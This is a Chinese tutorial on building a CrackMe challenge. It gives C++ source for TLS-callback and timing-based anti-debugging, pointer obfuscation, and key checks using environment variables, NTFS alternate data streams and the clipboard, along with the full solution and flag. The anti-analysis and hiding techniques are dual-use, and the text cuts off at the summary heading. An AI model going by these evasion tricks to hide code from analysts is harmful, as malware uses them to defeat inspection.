随着CTF(夺旗)比赛越来越受人们欢迎,以及在这个领域里像Dragon Sector这样的波兰队伍的卓越表现,我认为用一些使它难以被破解和分析的技巧来演示一个简单的CrackMe结构将会很有趣。 如果你对逆向工程、CTF比赛有好奇心或者想制作自己的CrackMe并逼疯其他的参赛者,那么本文就是专门写给你的。

我是大牛,我要直接找Flag!

如果你已经有了一定的逆向经验,并且想尝试我将在下文提到的CrackMe,那么你可以忽略这篇文章,下载编译好的可执行文件去找到Flag! 一旦你找到了Flag,就可以回到这里将你的发现与我的发现过程相比较。这个 CrackMe 难度中等。  下载CrackMeZ3S.zip 运行此CrackMe可执行文件你可能需要下载Visual C++ Redistributable Packages forVisual Studio 2013. 下载好CrackMe了?不要看我后面的破解过程哦!;) 如果你是想制作自己的CrackMe,那么我邀请你继续读下去……

什么是CrackMe?

你可能熟悉类似HackThisSite.org这样的网站,你可以向这些网站挑战试着找到网页或是其他系统软件中的弱点或安全漏洞来获取隐藏的信息。 CrackMe其实就是一个专门能够让你绕过安全机制并获取正确的密码或序列号的程序。CrackMes在CTF比赛流行起来之前就非常受欢迎。这样,程序员们就可以挑战一下自己的破解实力,也可以测试一下自己的软件保护技术。

图片.png

crackmes.de这个网站有超过20年的历史了,而且有几乎3000份文档文件,网站上有关于这些文档的CrackMes和教程。该网站仍然活跃并且一直都在添加新的CrackMes。

有哪些不同类型的CrackMe?

CrackMe程序传统上被划分为以下几类,但主要取决于作者的目的。 这些包括:
CrackMe – 用于生成序列号、许可文件或者用户/密码组合。篡改文件是违法的,并且传统上用CrackMes篡改二进制文件是不受法律保护的。 KeygenMe – 顾名思义,KeygenMe的目的就是创建一个密钥生成器。这不同于一般的CrackMe, 因为通常需要使用有趣的加密算法,并且关于加密和加密算法的知识对于创建Keygen是必要的。通常,使用BIGNUM数据类型的值以及如ECC、RSA或DSA的算法 ,这使得必须暴力破解已知的密钥。 ReverseMe –是CrackMe最复杂的一种形式。目的也许是比如强制程序显示类似“感谢注册”这样的消息。ReverseMes远远不只是使用复杂的加密算法来保护应用程序免于被分析;它们使用许多技术来使得程序文件难以被修改,因为这是最常见的被用于达到目的的方法(例如,改变程序中某些功能的行为)。 UnpackMe –稍不同于CrackMe,你得到的是一个压缩、受保护的文件或者与定制版混淆甚至是商业版打包可执行文件/可执行文件保护程序。目的是解压缩文件,换句话说,恢复可执行文件的原始格式。在大多数情况下,包括重建引入表,恢复原始(编译好的)代码和重建可执行文件结构,所以文件能够在没有保护层的情况下运行。在“homebrew”保护方法的情况下,这可能是一个有趣的挑战,但是如果使用商业级保护,这个逆向将变得相当难。

我们的CrackMe目标

在CTF比赛中,通常CrackMe的目标就是获取隐藏的“flag”。我们的CrackMe目标将会是猜测和输入正确的线索,成功后就可以看到flag了。为了提供给那些尝试找出线索的人各种娱乐,每个线索都会以不同的方式输入。 每个线索都有一个简单的验证方法,目的是为了不让这个练习太过于复杂。

操作系统和编程语言

我们的CrackMe将在Windows10上制作(但是在一些旧版本系统比如Windows 7 上面运行也不会出错)。我们将使用C++语言编译为原生的x86代码。我们将使用一些少量有趣的可能不太著名的Windows API。在这个CrackMe中我们将使用可能会对几种反编译工具造成一些困难的UNICODE编码。

TLS回调

首先,我们将使用一种叫做TLS回调的模糊机制。它连接着允许程序的不同线程引用他们自身全局变量的副本的线程本地存储机制的功能。比如在C++中,我们可以将变量声明为具有特殊属性的线程局部变量:

__declspec(thread) int value;

在这种情况下,程序的每一个线程都会处理这个变量本身的副本。其他进程不会注意到通过一个进程对这个变量的改变。 TLS回调是TLS机制的一部分。他们有点像DLL(动态链接库)的入口点——即DllMain()。Windows调用被声明来告诉程序与进程有关联的新载入的库或者新创建的线程的TLS回调。这更像DLLMain()是如何被反复调用的,但是有一点不同:当这个机制被可执行文件使用时,代码会在程序的入口点之前执行。 这个差异就是关键,因为理论上来说,它允许我们悄悄运行一些在不使用正确调试器功能的情况下不太可能被注意到的代码。 TLS回调自Windows XP起就存在了,但它们的操作在不同Windows版本中略有不同(某些事件类型不支持所有版本)。他们被某些软件保护系统用来在实际代码运行之前设置一些反调试功能。They are used by certain software protection systems to set upsome anti-debug features before the actual application code is started. 我们将在CrackMe中利用TLS回调来检查调试的存在。

///////////////////////////////////////////////////////////////////////////////

//

// The TLS callback mechanism allows codeto be executed prior to

// the launch of a program's entry point;this is one place where

// we can hide the initialisation of acouple of things

//

// details about implementing this in C++:

// http://stackoverflow.com/questions/14538159/about-tls-callback-in-windows

//

///////////////////////////////////////////////////////////////////////////////

 

void NTAPI TlsCallback(PVOID DllHandle, DWORD dwReason, PVOID)

{

    // ensure the reason for calling thecallback is that the application

    // process has been attached, i.e. theapplication has been launched

    // exactly the same as in the DllMain() inDLL libraries

    if (dwReason != DLL_PROCESS_ATTACH)

   {

       return;

   }

 

    // check the heap flags - in the case of adebugged application

    // they are different to an applicationstarted normally

    // in case adebugger is detected, stop the application

    // at this point

   __asm

   {

       mov     eax, dword ptr fs:[30h]

       test    dword ptr [eax + 68h],HEAP_REALLOC_IN_PLACE_ONLY or HEAP_TAIL_CHECKING_ENABLED orHEAP_FREE_CHECKING_ENABLED

       je      _no_debugger

 

       _sleep_well_my_angel:

 

       push    1000000

       call    Sleep

 

       jmp     _sleep_well_my_angel

 

       _no_debugger:

   }

}

如果我们用类似OllyDbg v2这样没有用任何插件隐藏自己的调试器来调试CrackMe,那么这个TLS回调代码就会检测调试器并进一步阻止程序加载。看起来就像是软件被挂起了。

校验密钥

每个不同的密钥检查步骤都在独自的线程中运行。在调试一个程序时,多线程操作经常会遇到障碍——有时候是很大的障碍。每个线索验证函数将轮流为下一个函数创建一个线程。

//

// table of addresses of successive key verificationfunctions

// the pointers in this table will beencrypted, and decrypted

// only at the moment when they are readyto be executed

//

// we will store the address adjusted 100bytes forward

// this will cause a hiccup in everydisassembler, since this will

// be treated as a function pointer

// for further entertainment we can addextra dummy entries to this table

//

#define ENCRYPTED_PTR(x, y)reinterpret_cast<PVOID>(reinterpret_cast<DWORD>(&x) + y)

 

PVOID lpKeyProc[KEYS_COUNT] = {

 

   ENCRYPTED_PTR(Key0, 100),

   ENCRYPTED_PTR(Key1, 100),

   ENCRYPTED_PTR(Key2, 100),

   ENCRYPTED_PTR(Key3, 100),

   ENCRYPTED_PTR(Key4, 100),

   ENCRYPTED_PTR(Key5, 100),

 

};

 

SpeedStart('C');

 

//

// create 5 EVENT objects, which willserve as markers

// of the validity of the access keys

// also, encrypt the pointers to thefunctions which

// check the validity of the keys

//

for (int i = 0; i <KEYS_COUNT; i++)

{

   hEvents[i] = CreateEvent(nullptr, TRUE, FALSE, nullptr);

   lpKeyProc[i] = static_cast<LPTHREAD_START_ROUTINE>(EncodePointer(reinterpret_cast<PVOID>(reinterpret_cast<DWORD>(lpKeyProc[i]) - 100)));

}

 

//

// fire up the first thread which willpretend to verify the serial number

// it will start successive threads whichwill run successive procedures

// to verify access keys

//

hThreads[0] = CreateThread(nullptr, 0, static_cast<LPTHREAD_START_ROUTINE>(DecodePointer(lpKeyProc[0])),lpKeyProc, 0, &dwThreadIds[0]);

 

SpeedEnd('C');

 

// wait for all threads to be initialised(in case someone tries to skip something)

// the threads are started in a chainreaction, so their handles will not all

// be generated yet, and so we can't useWaitForMultipleObjects()

for (int i = 0; i <_countof(hThreads); i++)

{

    while (hThreads[i] == nullptr)

   {

       OutputDebugString(_T("What's up, Doc?"));

   }

}

 

// wait for all threads to finish working

WaitForMultipleObjects(_countof(hThreads),hThreads, TRUE, INFINITE);

校验访问密钥后,我们将用事件系统来记录哪些密钥已正确输入。

Key 0 – 假密钥

我们如何输入第一个线索?CrackMe往往直接提示用户输入序列号或者密码,所以让我们跟着这个思路走下去。我们的CrackMe将要求输入一个密码,仔细检查它的有效性并记录结果,只有在最后的验证阶段才能忽略它。 这将是CrackMe在控制台要求输入的一个密钥,所以它会非常显眼。但是这个密钥与这个CrackMe毫不相干。不管它是否正确都不要紧。 为了让攻击者掉进我们的圈套,我们将使用一种非常盘普遍的(但是过时的)基于MD5算法的哈希技术。我们将把密钥哈希与单词“fake”的硬编码哈希进行对比。 这个短单词的哈希可以轻易地在提前计算好的单词和字母组合表(叫做彩虹表)中找到或者用类似Johnthe Ripper/hashcat的密码破解器。

///////////////////////////////////////////////////////////////////////////////

//

// Fake key - to waste an attacker's time;)

//

///////////////////////////////////////////////////////////////////////////////

 

DWORD WINAPI Key0(LPTHREAD_START_ROUTINE lpKeyProc[])

{

    // start up the next thread (chainreaction style)

   hThreads[1] = CreateThread(nullptr, 0, static_cast<LPTHREAD_START_ROUTINE>(DecodePointer(lpKeyProc[1])),lpKeyProc, 0, &dwThreadIds[1]);

 

   _tprintf(_T("Enterthe secret key: "));

 

    // read the password as an ANSI string (sothat it's not too difficult

    // for an attacker to find the passworde.g. using rainbow tables.

    // We'll do them a favour by choosing ANSIover UNICODE)

   gets_s(szPassword, sizeof(szPassword));

 

    // start measuring time here so thatgets_s() doesn't

    // artificially extend the time

   SpeedStart('0');

 

    if (strlen(szPassword) > 0)

   {

       // encrypted with https://www.stringencrypt.com (v1.1.0) [C/C++]

       // szFakeHash ="144C9DEFAC04969C7BFAD8EFAA8EA194"

       unsigned char szFakeHash[33];

 

       szFakeHash[2] = 0xA8; szFakeHash[0] = 0xCD; szFakeHash[10] = 0xBC;szFakeHash[30] = 0x28;

       szFakeHash[16] = 0x0A; szFakeHash[13] = 0x0D; szFakeHash[29] = 0x76;szFakeHash[14] = 0x30;

       szFakeHash[12] = 0x01; szFakeHash[32] = 0xEC; szFakeHash[3] = 0xCE;szFakeHash[31] = 0x3B;

       szFakeHash[15] = 0x48; szFakeHash[1] = 0x33; szFakeHash[25] = 0x27;szFakeHash[27] = 0xD9;

       szFakeHash[9] = 0x5F; szFakeHash[17] = 0x93; szFakeHash[24] = 0x8B;szFakeHash[7] = 0x9C;

       szFakeHash[26] = 0x5A; szFakeHash[23] = 0x24; szFakeHash[18] = 0x66;szFakeHash[19] = 0x06;

       szFakeHash[5] = 0xC1; szFakeHash[28] = 0x69; szFakeHash[21] = 0xF8;szFakeHash[20] = 0x9D;

       szFakeHash[4] = 0xFC; szFakeHash[22] = 0x44; szFakeHash[6] = 0xFF;szFakeHash[11] = 0x42;

       szFakeHash[8] = 0x83;

 

       for (unsigned int GpjcO = 0, qeVjl;GpjcO < 33; GpjcO++)

       {

           qeVjl = szFakeHash[GpjcO];

           qeVjl = (((qeVjl & 0xFF) >> 2) | (qeVjl << 6)) &0xFF;

           qeVjl += GpjcO;

           qeVjl = (((qeVjl & 0xFF) >> 5) | (qeVjl << 3)) &0xFF;

           qeVjl ^= 0xF7;

           qeVjl = ~qeVjl;

           qeVjl ^= GpjcO;

           qeVjl--;

           qeVjl = ~qeVjl;

           qeVjl -= 0xDF;

           qeVjl = ((qeVjl << 6) | ((qeVjl & 0xFF) >> 2)) &0xFF;

           qeVjl--;

           qeVjl ^= 0x76;

           qeVjl += 0xF0;

           qeVjl -= GpjcO;

           qeVjl ^= GpjcO;

           qeVjl = ~qeVjl;

           qeVjl += GpjcO;

           qeVjl = (((qeVjl & 0xFF) >> 2) | (qeVjl << 6)) &0xFF;

           qeVjl += 0x2C;

           qeVjl = ((qeVjl << 4) | ((qeVjl & 0xFF) >> 4)) &0xFF;

           qeVjl -= 0xFF;

           qeVjl = ((qeVjl << 1) | ((qeVjl & 0xFF) >> 7)) &0xFF;

           qeVjl = ~qeVjl;

           qeVjl++;

           qeVjl = (((qeVjl & 0xFF) >> 4) | (qeVjl << 4)) &0xFF;

           qeVjl -= 0xEF;

           qeVjl = (((qeVjl & 0xFF) >> 2) | (qeVjl << 6)) &0xFF;

           qeVjl -= 0xF7;

           qeVjl = (((qeVjl & 0xFF) >> 3) | (qeVjl << 5)) &0xFF;

           qeVjl -= 0x48;

           qeVjl = ~qeVjl;

           qeVjl -= GpjcO;

           qeVjl ^= GpjcO;

           qeVjl += 0xE6;

           qeVjl ^= 0xB4;

           qeVjl -= 0x9D;

           qeVjl = ~qeVjl;

           qeVjl--;

           qeVjl ^= GpjcO;

           qeVjl += 0x17;

           qeVjl ^= 0x55;

           qeVjl += GpjcO;

           qeVjl += 0xB3;

           qeVjl = (((qeVjl & 0xFF) >> 3) | (qeVjl << 5)) &0xFF;

           qeVjl -= 0xCE;

           qeVjl = ~qeVjl;

           qeVjl += 0x9B;

           qeVjl ^= 0x71;

           qeVjl--;

           qeVjl = ((qeVjl << 7) | ((qeVjl & 0xFF) >> 1)) &0xFF;

           szFakeHash[GpjcO] = qeVjl;

       }

 

       // compare withthe hash of the word "fake" (https://www.pelock.com/products/hash-calculator)

       if (CheckMD5(szPassword, strlen(szPassword), reinterpret_cast<char*>(szFakeHash)) == TRUE)

       {

           SetEvent(hEvents[0]);

       }

   }

 

   SpeedEnd('0');

 

    return 0;

}

值得记住的是,延长代码分析的时间是阻止潜在攻击者的最好方法之一。 虽然“拖延战术”在理论上容易被绕过,但是我们不能因为这样就忽略它们,因为在实践中他们非常有效。当做了很多无用功之后,攻击者还可能会沮丧,这正是我们想要的结果。 顺便提一句,游戏的保护系统通常不是“不可破坏的”,而是被设计用于延长游戏发布者可以在游戏发布后销售许多游戏副本的时间的唯一目的。在这种情况下,媒体在标题中宣传这种保护的“破坏”这是虚幻的——骇客和海盗满意地宣布胜利,拍拍对方的肩膀大唱“everything can bebroken”,甚至都没反应过来到底谁才是赢家。

图片.png

Key 1 – 环境变量

我们的下一个必须用比如环境变量编辑器设置的线索将从环境变量中收集到。为了制作这个圈套,我们将使用一个标准的Windows环境变量——“PROCESSOR_ARCHITECTURE”,但是有一个小小的拼写错误(“S”而不是“SS”),即“PROCESOR_ARCHITECTURE”。 该变量的正确值在64位系统上是可以看见的,除非在后面有一个空格,即“AMD64 ”。 假如有人列出环境变量,比如输入“set”命令,但是他们可能不会注意到后面的空格。在Windows 10 上,可以使用简单命令更改环境变量:

set PROCESOR_ARCHITECTURE=AMD64 ← spaceat the end

或者可以通过摁下Win+R 并输入“sysdm.cpl”启动环境变量编辑器。

Key 2– 隐藏ADS线索

NTFS格式文件系统允许程序在文件中保存附加的“流”。这个功能叫做备用数据流并且可以在文件用来隐藏附加的数据,这在Windows资源管理器中是看不见的。这个功能被Web浏览器用来追踪文件下载来源。当一份文件被从因特网上下载下来,附加流“:ZoneIdentifier”就会附加到那份文件。这就是为什么当你尝试运行从互联网上下载文件时,你会得到这些恼人的警告消息。

图片.png

ADS机制同时被恶意软件用于隐藏数据。不过,用在CrackMe中是一个有趣的方法,而且我们将在下一个密钥中利用它。 我们将在CrackMe自身文件中去查找它;在指定的“CrackMeZ3S.exe:Z3S.txt”流中。

///////////////////////////////////////////////////////////////////////////////

//

// Key 2 - checking ADS

//

///////////////////////////////////////////////////////////////////////////////

 

DWORD WINAPI Key2(LPTHREAD_START_ROUTINE lpKeyProc[])

{

   SpeedStart('2');

 

    // start up the next thread (chainreaction style)

   hThreads[3] = CreateThread(nullptr, 0, static_cast<LPTHREAD_START_ROUTINE>(DecodePointer(lpKeyProc[3])),lpKeyProc, 0, &dwThreadIds[3]);

 

   TCHAR wszPath[512] = { 0 };

 

    // get the path to the CrackMe executable

   GetModuleFileName(GetModuleHandle(nullptr), wszPath, sizeof(wszPath));

 

    // add the ADS suffix

   _tcscat_s(wszPath, _countof(wszPath), _T(":Z3S.txt"));

 

    // open the stream"CrackMeZ3S.exe:Z3S.txt"

    HANDLEhFile = CreateFile(wszPath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr);

 

   SpeedEnd('2');

 

    // check if open was successful

    if (hFile == INVALID_HANDLE_VALUE)

   {

       return 0;

   }

 

    // find the file size

   DWORD dwFileSize = GetFileSize(hFile, nullptr);

 

    // ensure that it will fit in the buffer

    if (dwFileSize > sizeof(szADS))

   {

       CloseHandle(hFile);

       return 0;

   }

 

   DWORD dwReadBytes = 0;

 

    // read the contents of the secret stream

    if (ReadFile(hFile, &szADS, dwFileSize, &dwReadBytes, nullptr) == FALSE || dwReadBytes != dwFileSize)

   {

       CloseHandle(hFile);

       return 0;

   }

 

   CloseHandle(hFile);

 

    char szTemp[sizeof(szADS)];

 

   strcpy_s(szTemp, _countof(szTemp), szADS);

 

    // reverse the string

   _strrev(szTemp);

 

    if (strcmp(szTemp, "\n\r70.6102") == 0)

   {

       // set the flagwhich indicates the ADS key was verified

       SetEvent(hEvents[2]);

   }

 

    return 0;

}

可以通过在命令行里运行以下命令设置密钥的必须值:

echo 2016.07> CrackMeZ3S.exe:Z3S.txt

运行以下命令则可以检查流是否创建成功:

dir /r

重要的是注意在“>”之前是没有空格的。稍不注意就会输多一个空格,并且这会得到一个无效的密钥。

 图片.png

Key 3 – 剪切板

下一个密钥将从剪切板中获得。CrackMe需要一个特定的文本值来存储。我可不是在说一个银行账号!;)

///////////////////////////////////////////////////////////////////////////////

//

// Key 3 - checking the clipboard

//

///////////////////////////////////////////////////////////////////////////////

 

DWORD WINAPI Key3(LPTHREAD_START_ROUTINE lpKeyProc[])

{

   SpeedStart('3');

 

    // start up the next thread (chainreaction style)

   hThreads[4] = CreateThread(nullptr, 0, static_cast<LPTHREAD_START_ROUTINE>(DecodePointer(lpKeyProc[4])),lpKeyProc, 0, &dwThreadIds[4]);

 

    // open the clipboard

    if (OpenClipboard(nullptr) == TRUE)

   {

       // get a handle tothe data in CF_TEXT format

       HANDLE hData = GetClipboardData(CF_TEXT);

       

       // was any dataobtained?

       if (hData != nullptr)

       {

           // lock memory

            char *pszText = static_cast<char *>(GlobalLock(hData));

           

           if (pszText != nullptr)

           {

                // hehe ;) 

                if (strcmp(pszText, "Boom Boom - Lip Lock - Song") == 0)

                {

                   // copy the clipboard contents to a globalvariable

                    strcpy_s(szClipboard, sizeof(szClipboard), pszText);

                   

                    // set the flag for this key

                    SetEvent(hEvents[3]);

               }

           }

       

           GlobalUnlock(hData);

           CloseClipboard();

       }

   }

 

   SpeedEnd('3');

 

    return 0;

}

在这种情况下,设置密钥是不言而喻的。只需要Ctrl-C就OK了!

Key 4 – 检查兼容性模式

Windows允许行为类似于在旧版本Windows上的程序在“兼容模式”中运行,这是为了那些在新的操作系统中可能无法正常运行的程序。我们将使用这个设置作为我们的下一个密钥,检查下程序是否在Windows Vista模式下运行的。

///////////////////////////////////////////////////////////////////////////////

//

// Key 4 - checking compatibility mode

//

///////////////////////////////////////////////////////////////////////////////

 

DWORD WINAPI Key4(LPTHREAD_START_ROUTINE lpKeyProc[])

{

   SpeedStart('4');

 

    // start up the next thread (chainreaction style)

   hThreads[5] = CreateThread(nullptr, 0, static_cast<LPTHREAD_START_ROUTINE>(DecodePointer(lpKeyProc[5])),lpKeyProc, 0, &dwThreadIds[5]);

 

   osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

 

    // the GetVersionEx() function has beendeprecated,

    // but for our CrackMe it'll do fine

    #pragma warning(disable : 4996)

   GetVersionEx(&osvi);

 

    // the numbering will match Windows Vistaand Windows Server 2008

    // https://msdn.microsoft.com/pl-pl/library/windows/desktop/ms724833(v=vs.85).aspx

    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)

   {

       // set the flagindicating the compatibility mode is set correctly

       SetEvent(hEvents[4]);

    }

 

   SpeedEnd('4');

 

    return 0;

}

这个检查十分不明显,因为它看起来仅仅是简单地识别了一下Windows版本。为了保证密钥可用,你可以在文件属性中更改“CrackMeZ3S.exe”的兼容模式,或者在Windows Vista上运行(现在还有人在使用它?)。 如果任何人想要在比Windows Vista版本更旧的系统上攻击这个CrackMe,他们既要给代码手工打补丁,又要给函数GetVersionEx()设置钩子,以便于表明Windows Vista。

图片.png

Key 5 – 拦截Ctrl-C

在我们的CrackMe中,我们将给Ctrl-C控制台事件设置一个处理函数来正常地结束控制台程序。我们将检查用户在执行CrackMe的过程中是否输入了Ctrl-C组合。

///////////////////////////////////////////////////////////////////////////////

//

// handler for the Ctrl-C shortcut

//

///////////////////////////////////////////////////////////////////////////////

 

BOOL CtrlHandler(DWORD fdwCtrlType)

{

    switch (fdwCtrlType)

   {

    case CTRL_C_EVENT:

 

       // set the flagwhich indicates the user pressed Ctrl-C

       SetEvent(hEvents[5]);

 

       return TRUE;

   }

 

    return FALSE;

}

 

///////////////////////////////////////////////////////////////////////////////

//

// Key 5 - check whether the user haspressed Ctrl-C

//

///////////////////////////////////////////////////////////////////////////////

 

DWORD WINAPI Key5(LPTHREAD_START_ROUTINE lpKeyProc[])

{

   SpeedStart('5');

 

    // set up Ctrl-C handler

   SetConsoleCtrlHandler(reinterpret_cast<PHANDLER_ROUTINE>(CtrlHandler),TRUE);

 

   SpeedEnd('5');

 

    return 0;

}

按下Ctrl-C将同时设置这个密钥的flag并结束CrackMe。

所有的密钥都被设置了——下一步怎么样?

如果所有的密钥验证线程都结束了,密钥也检测到了,而且用户按下了Ctrl-C,攻击者希望找到的“flag”将会从密钥中的各个字母构成。

///////////////////////////////////////////////////////////////////////////////

//

// Verifies the correctness of all thekeys, and generates

// a flag from individual letters of thekeys

//

// The correct flag:

//

// "PELock v2.0"

// 01234567890

//

///////////////////////////////////////////////////////////////////////////////

 

DWORD WINAPI Check(DWORD Param)

{

   SpeedStart('C');

 

    // Key 0 - fake key

    if (WaitForSingleObject(hEvents[0], 1) == WAIT_OBJECT_0)

   {

       // misleadingwrites - the characters in this password

       // will not beused (we're writing them past the end

       // of the buffer)

       wszFlag[16] = TCHAR(szPassword[4]);

       wszFlag[12] = TCHAR(szPassword[1]);

 

       #ifdef _DEBUG

       _tprintf(_T("[i]key 0 - OK\n"));

       #endif

   }

 

    // Key 1 - environment variables

    if (WaitForSingleObject(hEvents[1], 1) == WAIT_OBJECT_0)

   {

       // "PELock[]v2.0" - "AMD64[ ]"

       wszFlag[6] = wszEnvrionmentVariable[5];

 

       #ifdef _DEBUG

       _tprintf(_T("[i]key 1 - OK\n"));

       #endif

   }

 

    // Key 2 - ADS

    if (WaitForSingleObject(hEvents[2], 1) == WAIT_OBJECT_0)

   {

       // "PELockv[2].[0]" - "[2][0]16.07"

       wszFlag[8] = TCHAR(szADS[0]);

       wszFlag[10] = TCHAR(szADS[1]);

       wszFlag[9] = TCHAR(szADS[4]);

 

       #ifdef _DEBUG

       _tprintf(_T("[i]key 2 - OK\n"));

       #endif

   }

 

    // Key 3 - clipboard contents

    if (WaitForSingleObject(hEvents[3], 1) == WAIT_OBJECT_0)

   {

       // "Boom Boom- Lip Lock - Song"

       wszFlag[4] = TCHAR(szClipboard[18]);

       wszFlag[3] = TCHAR(szClipboard[17]);

       wszFlag[2] = TCHAR(szClipboard[16]);

       wszFlag[5] = TCHAR(szClipboard[19]);

 

       #ifdef _DEBUG

       _tprintf(_T("[i]key 3 - OK\n"));

       #endif

   }

 

    // Key 4 - pressing Ctrl-C

    if (WaitForSingleObject(hEvents[4], 1) == WAIT_OBJECT_0)

   {

       // missing letter

       wszFlag[7] = TCHAR('v');

 

       #ifdef _DEBUG

       _tprintf(_T("[i]key 4 - OK\n"));

       #endif

   }

 

    // Key 5 - system version matching WindowsVista

    if (WaitForSingleObject(hEvents[5], 1) == WAIT_OBJECT_0)

   {

       // letter 'P' =0x4A + 6

       wszFlag[0] = TCHAR(0x4A + osvi.dwMajorVersion);

 

       // letter 'E' =0x45 - 0

       wszFlag[1] = TCHAR(0x45 - osvi.dwMinorVersion);

 

       #ifdef _DEBUG

       _tprintf(_T("[i]key 5 - OK\n"));

       #endif

   }

 

   SpeedEnd('C');

 

    return 0;

}

在显示包含flag的胜利消息之前,我们将通过检查它附加“盐”的加密哈希来验证:

//

// calculate MD5 from the flag string andsalt

// (in order to thwart brute-forceattacks)

// the point of this is to guard againstsituations

// where somebody bypasses some of thedefences

// (e.g. by manually setting up theEVENTs)

//

TCHAR wszFlagSalty[128];

 

_stprintf_s(wszFlagSalty, _T("#flag4poprawna %s \n123458s3cr3t_+=-=-="), wszFlag);

 

// calculate the hash from a TCHAR string;the result is an ANSI string

BOOL bValidFlag = CheckMD5(wszFlagSalty,_tcslen(wszFlagSalty) * sizeof(TCHAR), "4ED28DA4AAE4F2D58BF52EB0FE09F40B");

 

SpeedEnd('V');

 

if (bValidFlag == TRUE)

{

这样做是为了确保提供的密钥是有效的,例如,代码在调试器中没有被修改以跳过前面的部分并容易地到达这个代码片段。

反调试

你真能够把我们不使用任何防御调试的程序叫做适合的CrackMe吗?我们的CrackMe在这个领域是不可缺少的。Our CrackMe won’t be lacking in this department.我们可以使用其中一个基于像IsDebuggerPresent()这样的WinAPI函数的流行方法,但是它们的受欢迎程度和对它们的广泛了解意味着在我们开始之前就会被打败。除此之外,我已经看到过IsDebuggerPresent()很多次了以至于任何时候看到它我都想哭。

 图片.png

在调试器中检测我们的程序何时运行

我们将在CrackMe中添加一些代码用于在它运行时检测一些用来分析软件的流行工具,即编译器。编译器允许在不用访问源代码的情况下追踪编译好的程序。它们以汇编指令的形式显示编译好的程序代码,这些指令被允许逐步执行。调试器还允许当程序到达指定指令(俗称“断点”)或调用特定系统函数时停止运行,比如,使用MessageBox()函数来显示一个弹窗消息告诉你“你的密钥不不正确”。 我们将利用一个简单的事实,当一个程序不管被哪个调试器调试时,它明显会运行地很慢,因为调试机制会减慢所有指令的执行速度。 这种缓慢来自哪里?看看基于WinAPI函数的标准调试器循环你就会明白有多少事情在发生了!此外,调试器用户进一步减慢了运行速度,看到当他或她将执行一些指令,检查一些寄存器值,查看一些文档,这样使得延时了几秒而不是几微秒。 我们将获得执行指定代码段所花的时间,并且假设CrackMe不是在Commodore 64Atari上的PC仿真机中运行,那么执行少数指令的时间是绝不会接近5秒的,但是有些人在调试器中这样跟踪代码将很轻易就花掉更多的时间。

///////////////////////////////////////////////////////////////////////////////

//

// gets the start time - this functionMUST be inline to prevent

// someone simply patching the function inone place

//

///////////////////////////////////////////////////////////////////////////////

 

void __forceinline SpeedStart(intiSpeedStructIndex)

{

   QueryPerformanceFrequency(&Speed[iSpeedStructIndex].Frequency);

   QueryPerformanceCounter(&Speed[iSpeedStructIndex].StartingTime);

}

 

///////////////////////////////////////////////////////////////////////////////

//

// gets the end time and checks whetherexecution time

// exceeds the specified limit

//

///////////////////////////////////////////////////////////////////////////////

 

void __forceinline SpeedEnd(intiSpeedStructIndex, int iMaxTimeInSeconds = 5)

{

   QueryPerformanceCounter(&Speed[iSpeedStructIndex].EndingTime);

   Speed[iSpeedStructIndex].ElapsedMicroseconds.QuadPart =Speed[iSpeedStructIndex].EndingTime.QuadPart -Speed[iSpeedStructIndex].StartingTime.QuadPart;

     

    //Speed[iSpeedStructIndex].ElapsedMicroseconds.QuadPart*= 1000000;

   Speed[iSpeedStructIndex].ElapsedMicroseconds.QuadPart /=Speed[iSpeedStructIndex].Frequency.QuadPart;

 

    // check whether the time limit wasexceeded

    if (Speed[iSpeedStructIndex].ElapsedMicroseconds.QuadPart >iMaxTimeInSeconds)

   {

       #ifdef _DEBUG

       _tprintf(_T("[!]the limit of %i seconds was exceeded for index %c, execution time %llu"), iMaxTimeInSeconds, iSpeedStructIndex,Speed[iSpeedStructIndex].ElapsedMicroseconds.QuadPart);

       #endif

       

       // in case of thetime limit being exceeded, no error is

       // displayed, butwe will corrupt the internal structure of

       // the CrackMe,which will cause the CrackMe to

       // malfunction orsimply hang at some point

       

       // randomly decidewhether to corrupt something or not

       #defineLOTTO_CRASH ((rand() & 6) == 0)

       

       // decide whetherto erase a thread handle

       if (LOTTO_CRASH) hThreads[rand() %_countof(hThreads)] = nullptr;

       

       // decide whetherto erase an event handle

       if (LOTTO_CRASH) hEvents[rand() %_countof(hEvents)] = reinterpret_cast<HANDLE>(rand());

       

       // decide whetherto reset an event (the indicator of a valid access key)

       if (LOTTO_CRASH) ResetEvent(hEvents[rand() %_countof(hEvents)]);

       

       // randomly filltext buffers

       if (LOTTO_CRASH) memset(wszEnvrionmentVariable,_countof(wszEnvrionmentVariable) * sizeof(TCHAR), rand());

       if (LOTTO_CRASH) memset(szADS, sizeof(szADS), rand());

       if (LOTTO_CRASH) memset(szClipboard, sizeof(szClipboard), rand());

       if (LOTTO_CRASH) memset(szPassword, sizeof(szPassword), rand());

       if (LOTTO_CRASH) memset(wszFlag, _countof(wszFlag) * sizeof(TCHAR), rand());

       

       // evil asm trick;), corrupt the stack pointer

       // this isguaranteed to cause the application to crash

       if (LOTTO_CRASH) __asm inc esp

   }

}

假如我们检测到这些长执行时间,我们就不向用户显示任何关于它的消息。这可能是我们能做的最糟糕的事了,因为它会给攻击者一个问题出在哪里的明确指示。相反,我们将随机破坏内部数据缓冲区和表明验证码的个别事件。因此,即使提供了正确的验证码,只要CrackMe在调试器中运行,正确的flag就不会生成。 这种类型的保护可以通过利用调试器插件或为判断时间的函数创建一个钩子的方式来绕过,这可以给程序一个伪造的时序结果。

编译器和链接选项

尽管事实上我们的CrackMe是用C++写的,而不是用汇编语言,我们可以通过使用适当的编译器和链接选项进一步完成这个挑战。在我们的CrackMe中,我们将应用地址空间布局随机化(ASLR),这将导致我们的可执行文件被默认重定位,并且每次启动时,Windows会把它加载到内存中一个不同的基址。

图片.png

攻击者可能会忘记在他们的调试器中确定的虚拟地址设置断点每次程序运行时,代码都会在不同的内存范围,通过反编译得到的函数地址是无用的。换句话说,就是会非常蛋疼。 然而一个聪明的攻击者会把重定位信息移除,并使得EXE映像总是被加载到相同的基址上。为此,我们将基址设置为0。这种做法不常见,然而在ALSR的情况下,微软建议将基址设置为0。奇怪的是,他们的编译器默认不会实现这个。 人们会如何为了使他们的生活变得更轻松去绕过这个保护,不只是在这个CrackMe情况中,而是在其他程序分析中?首先,可执行文件将必须重定位到任意有效的基址,例如默认的0×400000,然后需要删除重定位信息或在PE (可移植文件)文件头中的地址空间布局随机化flag。

总结

